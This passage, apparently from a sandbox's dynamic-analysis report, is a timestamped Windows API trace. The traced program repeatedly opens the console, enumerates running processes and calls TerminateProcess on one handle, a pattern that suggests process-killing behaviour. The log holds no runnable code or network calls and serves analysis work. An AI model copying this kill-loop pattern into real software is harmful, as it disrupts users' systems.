[0068.812] GetLastError () returned 0x0 [0068.812] SetConsoleTextAttribute (hConsoleOutput=0xf, wAttributes=0x7) returned 1 [0068.812] GetLastError () returned 0x0 [0068.813] EnumProcesses (in: lpidProcess=0x2d8671c, cb=0x400, lpcbNeeded=0x5e8e5a8 | out: lpidProcess=0x2d8671c, lpcbNeeded=0x5e8e5a8) returned 1 [0068.814] GetLastError () returned 0x0 [0068.815] TerminateProcess (hProcess=0x4e8, uExitCode=0xffffffff) returned 1 [0068.816] GetLastError () returned 0x0 [0068.821] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xf [0068.821] GetLastError () returned 0x0 [0068.821] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0068.822] GetLastError () returned 0x0 [0068.825] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x13 [0068.826] GetLastError () returned 0x0 [0068.826] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x13, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0068.826] GetLastError () returned 0x0 [0068.829] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17 [0068.830] GetLastError () returned 0x0 [0068.830] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x17, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0068.830] GetLastError () returned 0x0 [0068.834] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b [0068.834] GetLastError () returned 0x0 [0068.834] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x1b, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0068.834] GetLastError () returned 0x0 [0068.838] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f [0068.844] GetLastError () returned 0x0 [0068.844] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x1f, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0068.844] GetLastError () returned 0x0 [0068.844] SetConsoleTextAttribute (hConsoleOutput=0x1f, wAttributes=0x7) returned 1 [0068.845] GetLastError () returned 0x0 [0068.849] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f [0068.849] GetLastError () returned 0x0 [0068.849] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x1f, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0068.849] GetLastError () returned 0x0 [0068.849] SetConsoleTextAttribute (hConsoleOutput=0x1f, wAttributes=0x7) returned 1 [0068.849] GetLastError () returned 0x0 [0068.853] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f [0068.854] GetLastError () returned 0x0 [0068.854] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x1f, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0068.854] GetLastError () returned 0x0 [0068.854] SetConsoleTextAttribute (hConsoleOutput=0x1f, wAttributes=0x7) returned 1 [0068.854] GetLastError () returned 0x0 [0068.858] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f [0068.858] GetLastError () returned 0x0 [0068.858] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x1f, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0068.858] GetLastError () returned 0x0 [0068.858] SetConsoleTextAttribute (hConsoleOutput=0x1f, wAttributes=0x7) returned 1 [0068.859] GetLastError () returned 0x0 [0068.859] EnumProcesses (in: lpidProcess=0x2da97b4, cb=0x400, lpcbNeeded=0x5e8e5a8 | out: lpidProcess=0x2da97b4, lpcbNeeded=0x5e8e5a8) returned 1 [0068.860] GetLastError () returned 0x0 [0068.861] TerminateProcess (hProcess=0x4e8, uExitCode=0xffffffff) returned 1 [0068.862] GetLastError () returned 0x0 [0068.867] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f [0068.867] GetLastError () returned 0x0 [0068.867] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x1f, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0068.867] GetLastError () returned 0x0 [0068.871] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23 [0068.871] GetLastError () returned 0x0 [0068.871] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x23, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0068.871] GetLastError () returned 0x0 [0068.875] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x27 [0068.875] GetLastError () returned 0x0 [0068.875] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x27, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0068.875] GetLastError () returned 0x0 [0068.879] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b [0068.879] GetLastError () returned 0x0 [0068.879] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x2b, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0068.879] GetLastError () returned 0x0 [0068.883] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f [0068.889] GetLastError () returned 0x0 [0068.889] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x2f, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0068.889] GetLastError () returned 0x0 [0068.889] SetConsoleTextAttribute (hConsoleOutput=0x2f, wAttributes=0x7) returned 1 [0068.889] GetLastError () returned 0x0 [0068.893] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f [0068.893] GetLastError () returned 0x0 [0068.894] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x2f, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0068.894] GetLastError () returned 0x0 [0068.894] SetConsoleTextAttribute (hConsoleOutput=0x2f, wAttributes=0x7) returned 1 [0068.894] GetLastError () returned 0x0 [0068.898] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f [0068.898] GetLastError () returned 0x0 [0068.898] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x2f, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0068.899] GetLastError () returned 0x0 [0068.899] SetConsoleTextAttribute (hConsoleOutput=0x2f, wAttributes=0x7) returned 1 [0068.899] GetLastError () returned 0x0 [0068.903] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f [0068.903] GetLastError () returned 0x0 [0068.903] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x2f, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0068.903] GetLastError () returned 0x0 [0068.903] SetConsoleTextAttribute (hConsoleOutput=0x2f, wAttributes=0x7) returned 1 [0068.903] GetLastError () returned 0x0 [0068.904] EnumProcesses (in: lpidProcess=0x2dcc6c8, cb=0x400, lpcbNeeded=0x5e8e5a8 | out: lpidProcess=0x2dcc6c8, lpcbNeeded=0x5e8e5a8) returned 1 [0068.905] GetLastError () returned 0x0 [0068.906] TerminateProcess (hProcess=0x4e8, uExitCode=0xffffffff) returned 1 [0068.907] GetLastError () returned 0x0 [0068.912] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f [0068.912] GetLastError () returned 0x0 [0068.912] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x2f, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0068.912] GetLastError () returned 0x0 [0068.916] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33 [0068.916] GetLastError () returned 0x0 [0068.916] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x33, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0068.916] GetLastError () returned 0x0 [0068.920] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37 [0068.920] GetLastError () returned 0x0 [0068.920] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x37, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0068.920] GetLastError () returned 0x0 [0068.924] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b [0068.924] GetLastError () returned 0x0 [0068.924] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x3b, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0068.924] GetLastError () returned 0x0 [0068.928] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f [0068.934] GetLastError () returned 0x0 [0068.934] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x3f, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0068.935] GetLastError () returned 0x0 [0068.935] SetConsoleTextAttribute (hConsoleOutput=0x3f, wAttributes=0x7) returned 1 [0068.935] GetLastError () returned 0x0 [0068.939] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f [0068.939] GetLastError () returned 0x0 [0068.939] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x3f, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0068.939] GetLastError () returned 0x0 [0068.939] SetConsoleTextAttribute (hConsoleOutput=0x3f, wAttributes=0x7) returned 1 [0068.940] GetLastError () returned 0x0 [0068.944] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f [0068.944] GetLastError () returned 0x0 [0068.944] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x3f, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0068.944] GetLastError () returned 0x0 [0068.944] SetConsoleTextAttribute (hConsoleOutput=0x3f, wAttributes=0x7) returned 1 [0068.944] GetLastError () returned 0x0 [0068.948] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f [0068.949] GetLastError () returned 0x0 [0068.949] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x3f, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0068.949] GetLastError () returned 0x0 [0068.949] SetConsoleTextAttribute (hConsoleOutput=0x3f, wAttributes=0x7) returned 1 [0068.949] GetLastError () returned 0x0 [0068.950] EnumProcesses (in: lpidProcess=0x2def168, cb=0x400, lpcbNeeded=0x5e8e5a8 | out: lpidProcess=0x2def168, lpcbNeeded=0x5e8e5a8) returned 1 [0068.950] GetLastError () returned 0x0 [0068.951] TerminateProcess (hProcess=0x4e8, uExitCode=0xffffffff) returned 1 [0068.953] GetLastError () returned 0x0 [0068.957] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f [0068.958] GetLastError () returned 0x0 [0068.958] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x3f, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0068.958] GetLastError () returned 0x0 [0068.961] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43 [0068.962] GetLastError () returned 0x0 [0068.962] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x43, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0068.962] GetLastError () returned 0x0 [0068.966] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47 [0068.966] GetLastError () returned 0x0 [0068.966] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x47, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0068.966] GetLastError () returned 0x0 [0068.970] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b [0068.970] GetLastError () returned 0x0 [0068.970] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x4b, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0068.970] GetLastError () returned 0x0 [0068.974] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f [0068.980] GetLastError () returned 0x0 [0068.980] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x4f, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0068.980] GetLastError () returned 0x0 [0068.980] SetConsoleTextAttribute (hConsoleOutput=0x4f, wAttributes=0x7) returned 1 [0068.981] GetLastError () returned 0x0 [0068.985] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f [0068.985] GetLastError () returned 0x0 [0068.985] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x4f, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0068.985] GetLastError () returned 0x0 [0068.985] SetConsoleTextAttribute (hConsoleOutput=0x4f, wAttributes=0x7) returned 1 [0068.986] GetLastError () returned 0x0 [0068.990] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f [0068.990] GetLastError () returned 0x0 [0068.990] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x4f, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0068.990] GetLastError () returned 0x0 [0068.990] SetConsoleTextAttribute (hConsoleOutput=0x4f, wAttributes=0x7) returned 1 [0068.991] GetLastError () returned 0x0 [0068.994] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f [0068.995] GetLastError () returned 0x0 [0068.995] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x4f, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0068.995] GetLastError () returned 0x0 [0068.995] SetConsoleTextAttribute (hConsoleOutput=0x4f, wAttributes=0x7) returned 1 [0068.995] GetLastError () returned 0x0 [0068.996] EnumProcesses (in: lpidProcess=0x2e11904, cb=0x400, lpcbNeeded=0x5e8e5a8 | out: lpidProcess=0x2e11904, lpcbNeeded=0x5e8e5a8) returned 1 [0068.997] GetLastError () returned 0x0 [0068.998] TerminateProcess (hProcess=0x4e8, uExitCode=0xffffffff) returned 1 [0068.999] GetLastError () returned 0x0 [0069.004] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f [0069.004] GetLastError () returned 0x0 [0069.004] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x4f, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0069.005] GetLastError () returned 0x0 [0069.008] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53 [0069.008] GetLastError () returned 0x0 [0069.008] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x53, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0069.009] GetLastError () returned 0x0 [0069.012] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57 [0069.012] GetLastError () returned 0x0 [0069.013] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x57, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0069.013] GetLastError () returned 0x0 [0069.016] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b [0069.021] GetLastError () returned 0x0 [0069.021] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x5b, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0069.021] GetLastError () returned 0x0 [0069.025] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f [0069.026] GetLastError () returned 0x0 [0069.026] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x5f, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0069.026] GetLastError () returned 0x0 [0069.026] SetConsoleTextAttribute (hConsoleOutput=0x5f, wAttributes=0x7) returned 1 [0069.026] GetLastError () returned 0x0 [0069.030] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f [0069.030] GetLastError () returned 0x0 [0069.030] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x5f, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0069.031] GetLastError () returned 0x0 [0069.031] SetConsoleTextAttribute (hConsoleOutput=0x5f, wAttributes=0x7) returned 1 [0069.031] GetLastError () returned 0x0 [0069.035] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f [0069.035] GetLastError () returned 0x0 [0069.035] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x5f, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0069.036] GetLastError () returned 0x0 [0069.036] SetConsoleTextAttribute (hConsoleOutput=0x5f, wAttributes=0x7) returned 1 [0069.036] GetLastError () returned 0x0 [0069.040] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f [0069.040] GetLastError () returned 0x0 [0069.040] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x5f, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0069.040] GetLastError () returned 0x0 [0069.040] SetConsoleTextAttribute (hConsoleOutput=0x5f, wAttributes=0x7) returned 1 [0069.041] GetLastError () returned 0x0 [0069.042] EnumProcesses (in: lpidProcess=0x2e33d48, cb=0x400, lpcbNeeded=0x5e8e5a8 | out: lpidProcess=0x2e33d48, lpcbNeeded=0x5e8e5a8) returned 1 [0069.043] GetLastError () returned 0x0 [0069.044] TerminateProcess (hProcess=0x4e8, uExitCode=0xffffffff) returned 1 [0069.046] GetLastError () returned 0x0 [0069.050] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f [0069.050] GetLastError () returned 0x0 [0069.050] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x5f, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0069.051] GetLastError () returned 0x0 [0069.054] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x63 [0069.055] GetLastError () returned 0x0 [0069.055] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x63, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0069.055] GetLastError () returned 0x0 [0069.059] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67 [0069.072] GetLastError () returned 0x0 [0069.072] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x67, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0069.072] GetLastError () returned 0x0 [0069.076] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b [0069.077] GetLastError () returned 0x0 [0069.077] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x6b, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0069.077] GetLastError () returned 0x0 [0069.081] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f [0069.081] GetLastError () returned 0x0 [0069.081] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x6f, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0069.081] GetLastError () returned 0x0 [0069.081] SetConsoleTextAttribute (hConsoleOutput=0x6f, wAttributes=0x7) returned 1 [0069.082] GetLastError () returned 0x0 [0069.086] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f [0069.086] GetLastError () returned 0x0 [0069.086] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x6f, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0069.086] GetLastError () returned 0x0 [0069.086] SetConsoleTextAttribute (hConsoleOutput=0x6f, wAttributes=0x7) returned 1 [0069.086] GetLastError () returned 0x0 [0069.090] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f [0069.091] 